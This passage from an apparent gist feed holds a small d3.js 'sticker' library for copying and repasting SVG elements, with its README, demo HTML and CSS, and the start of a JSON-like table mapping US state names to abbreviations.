      if(!node) return sticker;
      //we keep track of svg element 
      if(d3_isSVG(node)) {
        sticker.isSVG = true;
        svgElement = node.ownerSVGElement;
      }
      node = node.cloneNode(true);
      node.removeAttribute(&quot;id&quot;);
      return sticker;
    }

    sticker.paste = function() {
      if(!node) return;
      return node.cloneNode(true);
    }
    
    sticker.node = function(_) {
      if(!arguments.length) return node;
      node = _;
      if(d3_isSVG(node)) {
        sticker.isSVG = true;
        svgElement = node.ownerSVGElement;
      }
      return sticker;
    }
    
    //append a copy of the sticker to the selection
    sticker.append = function(selection) {
      return selection.select(function() {
        return this.appendChild(sticker.paste());
      });
    }
    
    //insert a copy of the sticker into a selection similar to the d3 insert API 
    sticker.insert = function(selection, before) {
      if(!string) return selection;
      return selection.select(before).select(function() {
        return this.parentNode.insertBefore(sticker.paste(), this);
      });
    }
    
    sticker.string = function(_) {
      if(!arguments.length) return string;
      string = _;
      return sticker;
    }
    
    sticker.serialize = function() {
      //Serialize the selected element into a string
      string = new XMLSerializer().serializeToString(node);
    }
    sticker.deserialize = function () {
      //check if our element is SVG
      if(sticker.isSVG) {
        node = d3_makeSVGFragment(string, svgElement);
      } else {
        node = d3_makeFragment(string);
      }
      return node;
    }
    
    sticker.toString = function() {
      sticker.serialize();
      return string;
    }

    if(selector) {
      return sticker.copy(selector);
    }
    return sticker;
  }

  function d3_isSVG(el) {
    if(!el) return false
    return !!el.ownerSVGElement;// || el.tagName === &quot;svg&quot;;
  }
  function d3_makeFragment(fragment) {
    var range = document.createRange()
    return range.createContextualFragment(fragment);
  }
  function d3_makeSVGFragment(fragment, svgElement) {
    //we need to wrap our element in a temporarary intermediate svg element
    //so that the browser knows to instanciate the Node properly.
    //for some reason having the range select an svg element isn&apos;t enough.
    // TODO: Allow optional namespace declarations
    var pre = &apos;&lt;svg xmlns=http://www.w3.org/2000/svg xmlns:xlink=http://www.w3.org/1999/xlink&gt;&apos;;
    var post = &apos;&lt;/svg&gt;&apos;;
    var range = document.createRange();
    range.selectNode(svgElement);
    var contextFragment = range.createContextualFragment(pre + fragment + post)
    var intermediateSvg = contextFragment.childNodes[0]
    var node = intermediateSvg.childNodes[0]
    return node;
  }
}());
</code></pre>
<h3>style.css</h3><pre><code class="language-css">#toolbar {
  width: 959px;
  height: 100px;
  border: 1px solid grey;
  display: none;
}

#surface {
  width: 981px;
  height: 683px;
  border: 1px solid grey;
  margin-left: auto;
  margin-right: auto;
  /*
  background-image: url(&apos;http://www.jerrysartarama.com/blog/uploaded_images/Titian,-Venus-of-Urbino-1538-730385.jpg&apos;);
  background-size: cover;
  */
  cursor: none;

}

.sticker {
  float: left;
  width: 80px;
  height: 80px;
  margin: 10px;
  border: 1px solid black;
}

.selected {
  border: 1px solid red;
}
</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[.gistup]]></title>
      <link>https://gist.github.com/4ead661b23fb98e14b22</link>
      <guid isPermaLink="true">https://gist.github.com/4ead661b23fb98e14b22</guid>
      <pubDate>Tue, 07 Jul 2015 17:59:59 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2015-08-29T14:24:25.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>.gistup</code:filename>
        <code:language>Unknown</code:language>
        <code:size>6</code:size>
      </code:file>
      <description><![CDATA[]]></description>
      <content:encoded><![CDATA[<h3>.gistup</h3><pre><code>gistup</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[README.md]]></title>
      <link>https://gist.github.com/fa355baf3798110f4b40</link>
      <guid isPermaLink="true">https://gist.github.com/fa355baf3798110f4b40</guid>
      <pubDate>Tue, 07 Jul 2015 16:23:28 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2015-08-29T14:24:25.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>README.md</code:filename>
        <code:language>Markdown</code:language>
        <code:size>1057</code:size>
      </code:file>
      <code:file>
        <code:filename>index.html</code:filename>
        <code:language>HTML</code:language>
        <code:size>4859</code:size>
      </code:file>
      <code:file>
        <code:filename>nip.png</code:filename>
        <code:language>Unknown</code:language>
        <code:size>191421</code:size>
      </code:file>
      <code:file>
        <code:filename>nip2.png</code:filename>
        <code:language>Unknown</code:language>
        <code:size>191789</code:size>
      </code:file>
      <code:file>
        <code:filename>noun_bottle_114208.png</code:filename>
        <code:language>Unknown</code:language>
        <code:size>7691</code:size>
      </code:file>
      <code:file>
        <code:filename>sticker.js</code:filename>
        <code:language>JavaScript</code:language>
        <code:size>3134</code:size>
      </code:file>
      <code:file>
        <code:filename>style.css</code:filename>
        <code:language>CSS</code:language>
        <code:size>512</code:size>
      </code:file>
      <description><![CDATA[]]></description>
      <content:encoded><![CDATA[<h3>README.md</h3><pre><code class="language-markdown">d3.sticker
==========

An API to create &quot;stickers&quot; from DOM elements that can then be repasted and manipulated.

This example shows how you can dynamically create and remove icons using the d3.sticker API 

For more data driven examples see:  
* [http://tributary.io/inlet/5747272](http://tributary.io/inlet/5747272)  
* [http://tributary.io/inlet/5754621](http://tributary.io/inlet/5754621)  
* [http://tributary.io/inlet/5754622](http://tributary.io/inlet/5754622)  

And a video tutorial:  
[http://www.youtube.com/watch?v=fDqfoICbz7E](http://www.youtube.com/watch?v=fDqfoICbz7E)

# Icons
* heart - [http://thenounproject.com/noun/heart/#icon-No16863](http://thenounproject.com/noun/heart/#icon-No16863) Raji Purcell, from The Noun Project  
* postit - [http://thenounproject.com/noun/post-it/#icon-No18027](http://thenounproject.com/noun/post-it/#icon-No18027) Matt Brooks, from The Noun Project  
* marker - [http://thenounproject.com/noun/marker/#icon-No18026](http://thenounproject.com/noun/marker/#icon-No18026) Matt Brooks, from The Noun Project  
</code></pre>
<h3>index.html</h3><pre><code class="language-html">&lt;!DOCTYPE html&gt;
&lt;meta charset=&quot;utf-8&quot;&gt;
&lt;head&gt;
  &lt;link rel=&quot;stylesheet&quot; href=&quot;style.css&quot;&gt;
  &lt;script src=&quot;http://d3js.org/d3.v3.min.js&quot;&gt;&lt;/script&gt;
  &lt;script src=&quot;sticker.js&quot;&gt;&lt;/script&gt;
&lt;/head&gt;
&lt;body&gt;
  &lt;div id=&quot;toolbar&quot;&gt;
    &lt;div id=&quot;sticker1&quot; class=&quot;sticker&quot;&gt;
      &lt;svg width=80 height=80 viewbox=&quot;0 0 100 100&quot;&gt;
      &lt;g id=&quot;heart&quot; opacity=1&gt;
      &lt;image x=&quot;0&quot; y=&quot;0&quot; width=&quot;80&quot; height=&quot;80&quot; xlink:href=&quot;nip2.png&quot; /&gt;
      &lt;/g&gt;
      &lt;/svg&gt;
    &lt;/div&gt;
    &lt;div id=&quot;sticker2&quot; class=&quot;sticker&quot;&gt;
      &lt;svg width=80 height=80 viewbox=&quot;0 0 100 100&quot;&gt;
        &lt;g id=&quot;postit&quot; opacity = 0.2&gt;
          &lt;path d=&quot;M99.276,61.623C86.663,47.747,86.507,3.225,86.507,2.778C86.507,1.244,85.263,0,83.729,0H13.572  c-0.71,0-1.358,0.267-1.85,0.705c-0.002,0-0.002,0.001-0.002,0.003c-0.039,0.034-0.076,0.069-0.112,0.106L0.814,11.607  C0.293,12.128,0,12.835,0,13.571V74.28c0,0.015,0,0.029,0,0.044c0,0.002,0,0.002,0,0.002c0,0.001,0,0.001,0,0.003  c0.006,0.359,0.08,0.702,0.21,1.016c0.135,0.329,0.337,0.638,0.604,0.904c0.264,0.265,0.568,0.464,0.893,0.6  c0.33,0.139,0.691,0.215,1.071,0.215h80.555c1.534,0,2.777-1.244,2.777-2.778v-8.016h0.317h10.794c1.101,0,2.096-0.648,2.541-1.655  C100.207,63.609,100.018,62.436,99.276,61.623z M16.35,47.618c1.394,4.868,3.148,9.375,5.329,13.096H16.35V47.618z M5.556,14.722  l5.238-5.238v52.857l-5.238,5.237V14.722z M80.556,71.507H9.484l5.237-5.238h12.341h53.493V71.507z M86.428,60.713H28.344  C18.263,48.113,16.654,15.318,16.397,5.556h64.592c0.215,9.346,1.622,39.436,10.825,55.158H86.428z&quot;&gt;&lt;/path&gt;
        &lt;/g&gt;
      &lt;/svg&gt;
    &lt;/div&gt;
    &lt;div id=&quot;sticker3&quot; class=&quot;sticker&quot;&gt;
      &lt;svg width=80 height=80 viewbox=&quot;0 0 100 100&quot;&gt;
      &lt;g id=&quot;marker&quot; opacity=0.2&gt;
        &lt;path d=&quot;M99.375,96.315c0-0.485-0.112-0.942-0.314-1.35l-2.013-6.036c-0.149-0.445-0.399-0.852-0.732-1.184l-4.945-4.947  l-2.982-6.961c-0.151-0.354-0.37-0.677-0.643-0.949L69.234,56.377c0.268-1.009,0.018-2.124-0.773-2.916L18.106,3.107  C16.103,1.104,13.44,0,10.606,0s-5.497,1.104-7.5,3.107C1.103,5.11,0,7.773,0,10.606c0,2.833,1.103,5.496,3.107,7.499L53.462,68.46  c0.568,0.568,1.339,0.888,2.143,0.888c0.265,0,0.522-0.047,0.774-0.114l18.51,18.513c0.272,0.271,0.595,0.491,0.948,0.642  l6.967,2.986l2.565,2.565H10.606c-1.674,0-3.03,1.356-3.03,3.03s1.356,3.03,3.03,3.03h84.848c0.873,0,1.654-0.376,2.208-0.966  C98.674,98.543,99.375,97.516,99.375,96.315z M7.392,13.819c-0.858-0.858-1.331-1.999-1.331-3.213c0-1.214,0.473-2.355,1.332-3.214  c0.858-0.859,2-1.332,3.214-1.332c1.214,0,2.355,0.473,3.214,1.332l48.212,48.211l-6.428,6.429L7.392,13.819z M60.961,65.246  l4.285-4.286l17.802,17.802l2.176,5.078l-0.256,0.254l-1.129,1.129l-5.078-2.175L60.961,65.246z&quot;&gt;&lt;/path&gt;     
      &lt;/g&gt;
      &lt;/svg&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  
  &lt;svg id=&quot;surface&quot;&gt;
  
  &lt;/svg&gt;

  &lt;script&gt;
    //this is nice to have
    d3.selection.prototype.moveToFront = function() { 
      return this.each(function() { 
        this.parentNode.appendChild(this); 
      }); 
    };
  &lt;/script&gt;
  
  &lt;script&gt;
    //active sticker is kept in this variable
    var sticker;
    var bbox;

    var toolbar = d3.select(&quot;#toolbar&quot;);
    var stickers = toolbar.selectAll(&quot;.sticker&quot;);
    function stickerPicker(d,i) {
      var el = d3.select(this).select(&quot;svg g&quot;).node();
      sticker = d3.sticker(el);
      console.log(&quot;sticker!&quot;, sticker);
      console.log(&quot;el&quot;, el)
      bbox = el.getBBox();

      stickers.classed(&quot;selected&quot;, false);
      d3.select(this).classed(&quot;selected&quot;, true);
    }
    stickers.on(&quot;click&quot;, stickerPicker);
    //pick first sticker by default
    stickerPicker.call(stickers.node(), null, 0);
    
    var svg = d3.select(&quot;#surface&quot;);
    svg.on(&quot;click&quot;, function() {
      var mouse = d3.mouse(this);
      mouse[0] -= bbox.width/2 + bbox.x;
      mouse[1] -= bbox.height/2 + bbox.y;
      //place the sticker centered
      sticker(svg)
        .attr(&quot;transform&quot;, &quot;translate(&quot; + mouse + &quot;)&quot;);

      //we want our ghost to be on top all the time
      ghost.moveToFront();
    })

    var ghost;
    var mousedown = false;
    svg.on(&quot;mousedown&quot;, function() {
      mousedown = true;
    })
    svg.on(&quot;mouseup&quot;, function() {
      mousedown = false;
    })
    svg.on(&quot;mouseenter&quot;, function() {
      ghost = sticker(svg);
      ghost.style({
        opacity: 0.4,
        stroke: &quot;#000&quot;,
        &quot;stroke-width&quot;: 2,
        &quot;stroke-dasharray&quot;: &quot;2 2&quot;
      });
    })
    svg.on(&quot;mouseleave&quot;, function() {
      mousedown = false;
      ghost.remove();
    })
    svg.on(&quot;mousemove&quot;, function() {
      var mouse = d3.mouse(this);
      mouse[0] -= bbox.width/2 + bbox.x;
      mouse[1] -= bbox.height/2 + bbox.y;
      ghost
        .attr(&quot;transform&quot;, &quot;translate(&quot; + mouse + &quot;)&quot;);

      //continuously paste if mouse is held down
      if(mousedown) {
        sticker(svg)
          .attr(&quot;transform&quot;, &quot;translate(&quot; + mouse + &quot;)&quot;);
        ghost.moveToFront()
      }
    })
    
  &lt;/script&gt;
  
&lt;/body&gt;
</code></pre>
<h3>nip.png</h3>
<h3>nip2.png</h3>
<h3>noun_bottle_114208.png</h3>
<h3>sticker.js</h3><pre><code class="language-javascript">(function() {
  d3.sticker = function(selector) {
    var string;
    var node;
    var svgElement; //for deserializing svg elements
    
    var sticker = function(selection) {
      return sticker.append(selection);
    }
    
    sticker.copy = function(selector) {
      node = d3.select(selector).node();
      if(!node) return sticker;
      //we keep track of svg element 
      if(d3_isSVG(node)) {
        sticker.isSVG = true;
        svgElement = node.ownerSVGElement;
      }
      node = node.cloneNode(true);
      node.removeAttribute(&quot;id&quot;);
      return sticker;
    }

    sticker.paste = function() {
      if(!node) return;
      return node.cloneNode(true);
    }
    
    sticker.node = function(_) {
      if(!arguments.length) return node;
      node = _;
      if(d3_isSVG(node)) {
        sticker.isSVG = true;
        svgElement = node.ownerSVGElement;
      }
      return sticker;
    }
    
    //append a copy of the sticker to the selection
    sticker.append = function(selection) {
      return selection.select(function() {
        return this.appendChild(sticker.paste());
      });
    }
    
    //insert a copy of the sticker into a selection similar to the d3 insert API 
    sticker.insert = function(selection, before) {
      if(!string) return selection;
      return selection.select(before).select(function() {
        return this.parentNode.insertBefore(sticker.paste(), this);
      });
    }
    
    sticker.string = function(_) {
      if(!arguments.length) return string;
      string = _;
      return sticker;
    }
    
    sticker.serialize = function() {
      //Serialize the selected element into a string
      string = new XMLSerializer().serializeToString(node);
    }
    sticker.deserialize = function () {
      //check if our element is SVG
      if(sticker.isSVG) {
        node = d3_makeSVGFragment(string, svgElement);
      } else {
        node = d3_makeFragment(string);
      }
      return node;
    }
    
    sticker.toString = function() {
      sticker.serialize();
      return string;
    }

    if(selector) {
      return sticker.copy(selector);
    }
    return sticker;
  }

  function d3_isSVG(el) {
    if(!el) return false
    return !!el.ownerSVGElement;// || el.tagName === &quot;svg&quot;;
  }
  function d3_makeFragment(fragment) {
    var range = document.createRange()
    return range.createContextualFragment(fragment);
  }
  function d3_makeSVGFragment(fragment, svgElement) {
    //we need to wrap our element in a temporarary intermediate svg element
    //so that the browser knows to instanciate the Node properly.
    //for some reason having the range select an svg element isn&apos;t enough.
    // TODO: Allow optional namespace declarations
    var pre = &apos;&lt;svg xmlns=http://www.w3.org/2000/svg xmlns:xlink=http://www.w3.org/1999/xlink&gt;&apos;;
    var post = &apos;&lt;/svg&gt;&apos;;
    var range = document.createRange();
    range.selectNode(svgElement);
    var contextFragment = range.createContextualFragment(pre + fragment + post)
    var intermediateSvg = contextFragment.childNodes[0]
    var node = intermediateSvg.childNodes[0]
    return node;
  }
}());
</code></pre>
<h3>style.css</h3><pre><code class="language-css">#toolbar {
  width: 959px;
  height: 100px;
  border: 1px solid grey;
  display: none;
}

#surface {
  width: 1200px;
  height: 1200px;
  border: 1px solid grey;
  margin-left: auto;
  margin-right: auto;

  background-image: url(&apos;http://www.jerrysartarama.com/blog/uploaded_images/Titian,-Venus-of-Urbino-1538-730385.jpg&apos;);
  background-size: cover;
  cursor: none;
}

.sticker {
  float: left;
  width: 80px;
  height: 80px;
  margin: 10px;
  border: 1px solid black;
}

.selected {
  border: 1px solid red;
}
</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[state_abbreviations_bothways]]></title>
      <link>https://gist.github.com/668673aad2be99c4fd1d</link>
      <guid isPermaLink="true">https://gist.github.com/668673aad2be99c4fd1d</guid>
      <pubDate>Mon, 12 Jan 2015 20:00:28 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2015-08-29T14:13:20.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>state_abbreviations_bothways</code:filename>
        <code:language>Unknown</code:language>
        <code:size>13983</code:size>
      </code:file>
      <description><![CDATA[]]></description>
      <content:encoded><![CDATA[<h3>state_abbreviations_bothways</h3><pre><code>
states = {
    &quot;Alabama&quot;: {
        &quot;longName&quot;: &quot;Alabama&quot;,
        &quot;abbr&quot;: &quot;AL&quot;,
        &quot;shortName&quot;: &quot;Ala.&quot;,
        &quot;num&quot;: 1
    },
    &quot;AL&quot;: {
        &quot;longName&quot;: &quot;Alabama&quot;,
        &quot;abbr&quot;: &quot;AL&quot;,
        &quot;shortName&quot;: &quot;Ala.&quot;,
        &quot;num&quot;: 1
    },
    &quot;Alaska&quot;: {
        &quot;longName&quot;: &quot;Alaska&quot;,
        &quot;abbr&quot;: &quot;AK&quot;,
        &quot;shortName&quot;: &quot;Alaska&quot;,
        &quot;num&quot;: 2
    },
    &quot;AK&quot;: {
        &quot;longName&quot;: &quot;Alaska&quot;,
        &quot;abbr&quot;: &quot;AK&quot;,
        &quot;shortName&quot;: &quot;Alaska&quot;,
        &quot;num&quot;: 2
    },
    &quot;Arizona&quot;: {
        &quot;longName&quot;: &quot;Arizona&quot;,
        &quot;abbr&quot;: &quot;AZ&quot;,
        &quot;shortName&quot;: &quot;Ariz.&quot;,
        &quot;num&quot;: 4
    },
    &quot;AZ&quot;: {
        &quot;longName&quot;: &quot;Arizona&quot;,
        &quot;abbr&quot;: &quot;AZ&quot;,
        &quot;shortName&quot;: &quot;Ariz.&quot;,
        &quot;num&quot;: 4
    },
    &quot;Arkansas&quot;: {
        &quot;longName&quot;: &quot;Arkansas&quot;,
        &quot;abbr&quot;: &quot;AR&quot;,
        &quot;shortName&quot;: &quot;Ark.&quot;,
        &quot;num&quot;: 5
    },
    &quot;AR&quot;: {
        &quot;longName&quot;: &quot;Arkansas&quot;,
        &quot;abbr&quot;: &quot;AR&quot;,
        &quot;shortName&quot;: &quot;Ark.&quot;,
        &quot;num&quot;: 5
    },
    &quot;California&quot;: {
        &quot;longName&quot;: &quot;California&quot;,
        &quot;abbr&quot;: &quot;CA&quot;,
        &quot;shortName&quot;: &quot;Calif.&quot;,
        &quot;num&quot;: 6
    },
    &quot;CA&quot;: {
        &quot;longName&quot;: &quot;California&quot;,
        &quot;abbr&quot;: &quot;CA&quot;,
        &quot;shortName&quot;: &quot;Calif.&quot;,
        &quot;num&quot;: 6
    },
    &quot;Colorado&quot;: {
        &quot;longName&quot;: &quot;Colorado&quot;,
        &quot;abbr&quot;: &quot;CO&quot;,
        &quot;shortName&quot;: &quot;Colo.&quot;,
        &quot;num&quot;: 8
    },
    &quot;CO&quot;: {
        &quot;longName&quot;: &quot;Colorado&quot;,
        &quot;abbr&quot;: &quot;CO&quot;,
        &quot;shortName&quot;: &quot;Colo.&quot;,
        &quot;num&quot;: 8
    },
    &quot;Connecticut&quot;: {
        &quot;longName&quot;: &quot;Connecticut&quot;,
        &quot;abbr&quot;: &quot;CT&quot;,
        &quot;shortName&quot;: &quot;Conn.&quot;,
        &quot;num&quot;: 9
    },
    &quot;CT&quot;: {
        &quot;longName&quot;: &quot;Connecticut&quot;,
        &quot;abbr&quot;: &quot;CT&quot;,
        &quot;shortName&quot;: &quot;Conn.&quot;,
        &quot;num&quot;: 9
    },
    &quot;Delaware&quot;: {
        &quot;longName&quot;: &quot;Delaware&quot;,
        &quot;abbr&quot;: &quot;DE&quot;,
        &quot;shortName&quot;: &quot;Del.&quot;,
        &quot;num&quot;: 10
    },
    &quot;DE&quot;: {
        &quot;longName&quot;: &quot;Delaware&quot;,
        &quot;abbr&quot;: &quot;DE&quot;,
        &quot;shortName&quot;: &quot;Del.&quot;,
        &quot;num&quot;: 10
    },
    &quot;District of Columbia&quot;: {
        &quot;longName&quot;: &quot;District of Columbia&quot;,
        &quot;abbr&quot;: &quot;DC&quot;,
        &quot;shortName&quot;: &quot;D.C.&quot;,
        &quot;num&quot;: 11
    },
    &quot;DC&quot;: {
        &quot;longName&quot;: &quot;District of Columbia&quot;,
        &quot;abbr&quot;: &quot;DC&quot;,
        &quot;shortName&quot;: &quot;D.C.&quot;,
        &quot;num&quot;: 11
    },
    &quot;Florida&quot;: {
        &quot;longName&quot;: &quot;Florida&quot;,
        &quot;abbr&quot;: &quot;FL&quot;,
        &quot;shortName&quot;: &quot;Fla.&quot;,
        &quot;num&quot;: 12
    },
    &quot;FL&quot;: {
        &quot;longName&quot;: &quot;Florida&quot;,
        &quot;abbr&quot;: &quot;FL&quot;,
        &quot;shortName&quot;: &quot;Fla.&quot;,
        &quot;num&quot;: 12
    },
    &quot;Georgia&quot;: {
        &quot;longName&quot;: &quot;Georgia&quot;,
        &quot;abbr&quot;: &quot;GA&quot;,
        &quot;shortName&quot;: &quot;Ga.&quot;,
        &quot;num&quot;: 13
    },
    &quot;GA&quot;: {
        &quot;longName&quot;: &quot;Georgia&quot;,
        &quot;abbr&quot;: &quot;GA&quot;,
        &quot;shortName&quot;: &quot;Ga.&quot;,
        &quot;num&quot;: 13
    },
    &quot;Hawaii&quot;: {
        &quot;longName&quot;: &quot;Hawaii&quot;,
        &quot;abbr&quot;: &quot;HI&quot;,
        &quot;shortName&quot;: &quot;Hawaii&quot;,
        &quot;num&quot;: 15
    },
    &quot;HI&quot;: {
        &quot;longName&quot;: &quot;Hawaii&quot;,
        &quot;abbr&quot;: &quot;HI&quot;,
        &quot;shortName&quot;: &quot;Hawaii&quot;,
        &quot;num&quot;: 15
    },
    &quot;Idaho&quot;: {
        &quot;longName&quot;: &quot;Idaho&quot;,
        &quot;abbr&quot;: &quot;ID&quot;,
        &quot;shortName&quot;: &quot;Idaho&quot;,
        &quot;num&quot;: 16
    },
    &quot;ID&quot;: {
        &quot;longName&quot;: &quot;Idaho&quot;,
        &quot;abbr&quot;: &quot;ID&quot;,
        &quot;shortName&quot;: &quot;Idaho&quot;,
        &quot;num&quot;: 16
    },
    &quot;Illinois&quot;: {
        &quot;longName&quot;: &quot;Illinois&quot;,
        &quot;abbr&quot;: &quot;IL&quot;,
        &quot;shortName&quot;: &quot;Ill.&quot;,
        &quot;num&quot;: 17
    },
    &quot;IL&quot;: {
        &quot;longName&quot;: &quot;Illinois&quot;,
        &quot;abbr&quot;: &quot;IL&quot;,
        &quot;shortName&quot;: &quot;Ill.&quot;,
        &quot;num&quot;: 17
    },
    &quot;Indiana&quot;: {
        &quot;longName&quot;: &quot;Indiana&quot;,
        &quot;abbr&quot;: &quot;IN&quot;,
        &quot;shortName&quot;: &quot;Ind.&quot;,
        &quot;num&quot;: 18
    },
    &quot;IN&quot;: {
        &quot;longName&quot;: &quot;Indiana&quot;,
        &quot;abbr&quot;: &quot;IN&quot;,
        &quot;shortName&quot;: &quot;Ind.&quot;,
        &quot;num&quot;: 18
    },
    &quot;Iowa&quot;: {
        &quot;longName&quot;: &quot;Iowa&quot;,
        &quot;abbr&quot;: &quot;IA&quot;,
        &quot;shortName&quot;: &quot;Iowa&quot;,
        &quot;num&quot;: 19
    },
    &quot;IA&quot;: {
        &quot;longName&quot;: &quot;Iowa&quot;,
        &quot;abbr&quot;: &quot;IA&quot;,
        &quot;shortName&quot;: &quot;Iowa&quot;,
        &quot;num&quot;: 19
    },
    &quot;Kansas&quot;: {
        &quot;longName&quot;: &quot;Kansas&quot;,
        &quot;abbr&quot;: &quot;KS&quot;,
        &quot;shortName&quot;: &quot;Kan.&quot;,
        &quot;num&quot;: 20
    },
    &quot;KS&quot;: {
        &quot;longName&quot;: &quot;Kansas&quot;,
        &quot;abbr&quot;: &quot;KS&quot;,
        &quot;shortName&quot;: &quot;Kan.&quot;,
        &quot;num&quot;: 20
    },
    &quot;Kentucky&quot;: {
        &quot;longName&quot;: &quot;Kentucky&quot;,
        &quot;abbr&quot;: &quot;KY&quot;,
        &quot;shortName&quot;: &quot;Ky.&quot;,
        &quot;num&quot;: 21
    },
    &quot;KY&quot;: {
        &quot;longName&quot;: &quot;Kentucky&quot;,
        &quot;abbr&quot;: &quot;KY&quot;,
        &quot;shortName&quot;: &quot;Ky.&quot;,
        &quot;num&quot;: 21
    },
    &quot;Louisiana&quot;: {
        &quot;longName&quot;: &quot;Louisiana&quot;,
        &quot;abbr&quot;: &quot;LA&quot;,
        &quot;shortName&quot;: &quot;La.&quot;,
        &quot;num&quot;: 22
    },
    &quot;LA&quot;: {
        &quot;longName&quot;: &quot;Louisiana&quot;,
        &quot;abbr&quot;: &quot;LA&quot;,
        &quot;shortName&quot;: &quot;La.&quot;,
        &quot;num&quot;: 22
    },
    &quot;Maine&quot;: {
        &quot;longName&quot;: &quot;Maine&quot;,
        &quot;abbr&quot;: &quot;ME&quot;,
        &quot;shortName&quot;: &quot;Maine&quot;,
        &quot;num&quot;: 23
    },
    &quot;ME&quot;: {
        &quot;longName&quot;: &quot;Maine&quot;,
        &quot;abbr&quot;: &quot;ME&quot;,
        &quot;shortName&quot;: &quot;Maine&quot;,
        &quot;num&quot;: 23
    },
    &quot;Maryland&quot;: {
        &quot;longName&quot;: &quot;Maryland&quot;,
        &quot;abbr&quot;: &quot;MD&quot;,
        &quot;shortName&quot;: &quot;Md.&quot;,
        &quot;num&quot;: 24
    },
    &quot;MD&quot;: {
        &quot;longName&quot;: &quot;Maryland&quot;,
        &quot;abbr&quot;: &quot;MD&quot;,
        &quot;shortName&quot;: &quot;Md.&quot;,
        &quot;num&quot;: 24
    },
    &quot;Massachusetts&quot;: {
        &quot;longName&quot;: &quot;Massachusetts&quot;,
        &quot;abbr&quot;: &quot;MA&quot;,
        &quot;shortName&quot;: &quot;Mass.&quot;,
        &quot;num&quot;: 25
    },
    &quot;MA&quot;: {
        &quot;longName&quot;: &quot;Massachusetts&quot;,
        &quot;abbr&quot;: &quot;MA&quot;,
        &quot;shortName&quot;: &quot;Mass.&quot;,
        &quot;num&quot;: 25
    },
    &quot;Michigan&quot;: {
        &quot;longName&quot;: &quot;Michigan&quot;,
        &quot;abbr&quot;: &quot;MI&quot;,
        &quot;shortName&quot;: &quot;Mich.&quot;,
        &quot;num&quot;: 26
    },
    &quot;MI&quot;: {
        &quot;longName&quot;: &quot;Michigan&quot;,
        &quot;abbr&quot;: &quot;MI&quot;,
        &quot;shortName&quot;: &quot;Mich.&quot;,
        &quot;num&quot;: 26
    },
    &quot;Minnesota&quot;: {
        &quot;longName&quot;: &quot;Minnesota&quot;,
        &quot;abbr&quot;: &quot;MN&quot;,
        &quot;shortName&quot;: &quot;Minn.&quot;,
        &quot;num&quot;: 27
    },
    &quot;MN&quot;: {
        &quot;longName&quot;: &quot;Minnesota&quot;,
        &quot;abbr&quot;: &quot;MN&quot;,
        &quot;shortName&quot;: &quot;Minn.&quot;,
        &quot;num&quot;: 27
    },
    &quot;Mississippi&quot;: {
        &quot;longName&quot;: &quot;Mississippi&quot;,
        &quot;abbr&quot;: &quot;MS&quot;,
        &quot;shortName&quot;: &quot;Miss.&quot;,
        &quot;num&quot;: 28
    },
    &quot;MS&quot;: {
        &quot;longName&quot;: &quot;Mississippi&quot;,
        &quot;abbr&quot;: &quot;MS&quot;,
        &quot;shortName&quot;: &quot;Miss.&quot;,
        &quot;num&quot;: 28
    },
    &quot;Missouri&quot;: {
        &quot;longName&quot;: &quot;Missouri&quot;,
        &quot;abbr&quot;: &quot;MO&quot;,
        &quot;shortName&quot;: &quot;Mo.&quot;,
        &quot;num&quot;: 29
    },
    &quot;MO&quot;: {
        &quot;longName&quot;: &quot;Missouri&quot;,
        &quot;abbr&quot;: &quot;MO&quot;,
        &quot;shortName&quot;: &quot;Mo.&quot;,
        &quot;num&quot;: 29
    },
    &quot;Montana&quot;: {
        &quot;longName&quot;: &quot;Montana&quot;,
        &quot;abbr&quot;: &quot;MT&quot;,
        &quot;shortName&quot;: &quot;Mont.&quot;,
        &quot;num&quot;: 30
    },
    &quot;MT&quot;: {
        &quot;longName&quot;: &quot;Montana&quot;,
        &quot;abbr&quot;: &quot;MT&quot;,
        &quot;shortName&quot;: &quot;Mont.&quot;,
        &quot;num&quot;: 30
    },
    &quot;Nebraska&quot;: {
        &quot;longName&quot;: &quot;Nebraska&quot;,
        &quot;abbr&quot;: &quot;NE&quot;,
        &quot;shortName&quot;: &quot;Neb.&quot;,
        &quot;num&quot;: 31
    },
    &quot;NE&quot;: {
        &quot;longName&quot;: &quot;Nebraska&quot;,
        &quot;abbr&quot;: &quot;NE&quot;,
        &quot;shortName&quot;: &quot;Neb.&quot;,
        &quot;num&quot;: 31
    },
    &quot;Nevada&quot;: {
        &quot;longName&quot;: &quot;Nevada&quot;,
        &quot;abbr&quot;: &quot;NV&quot;,
        &quot;shortName&quot;: &quot;Nev.&quot;,
        &quot;num&quot;: 32
    },
    &quot;NV&quot;: {
        &quot;longName&quot;: &quot;Nevada&quot;,
        &quot;abbr&quot;: &quot;NV&quot;,
        &quot;shortName&quot;: &quot;Nev.&quot;,
        &quot;num&quot;: 32
    },
    &quot;New Hampshire&quot;: {
        &quot;longName&quot;: &quot;New Hampshire&quot;,
        &quot;abbr&quot;: &quot;NH&quot;,
        &quot;shortName&quot;: &quot;N.H.&quot;,
        &quot;num&quot;: 33
    },
    &quot;NH&quot;: {
        &quot;longName&quot;: &quot;New Hampshire&quot;,
        &quot;abbr&quot;: &quot;NH&quot;,
        &quot;shortName&quot;: &quot;N.H.&quot;,
        &quot;num&quot;: 33
    },
    &quot;New Jersey&quot;: {
        &quot;longName&quot;: &quot;New Jersey&quot;,
        &quot;abbr&quot;: &quot;NJ&quot;,
        &quot;shortName&quot;: &quot;N.J.&quot;,
        &quot;num&quot;: 34
    },
    &quot;NJ&quot;: {
        &quot;longName&quot;: &quot;New Jersey&quot;,
        &quot;abbr&quot;: &quot;NJ&quot;,
        &quot;shortName&quot;: &quot;N.J.&quot;,
        &quot;num&quot;: 34
    },
    &quot;New Mexico&quot;: {
        &quot;longName&quot;: &quot;New Mexico&quot;,
        &quot;abbr&quot;: &quot;NM&quot;,
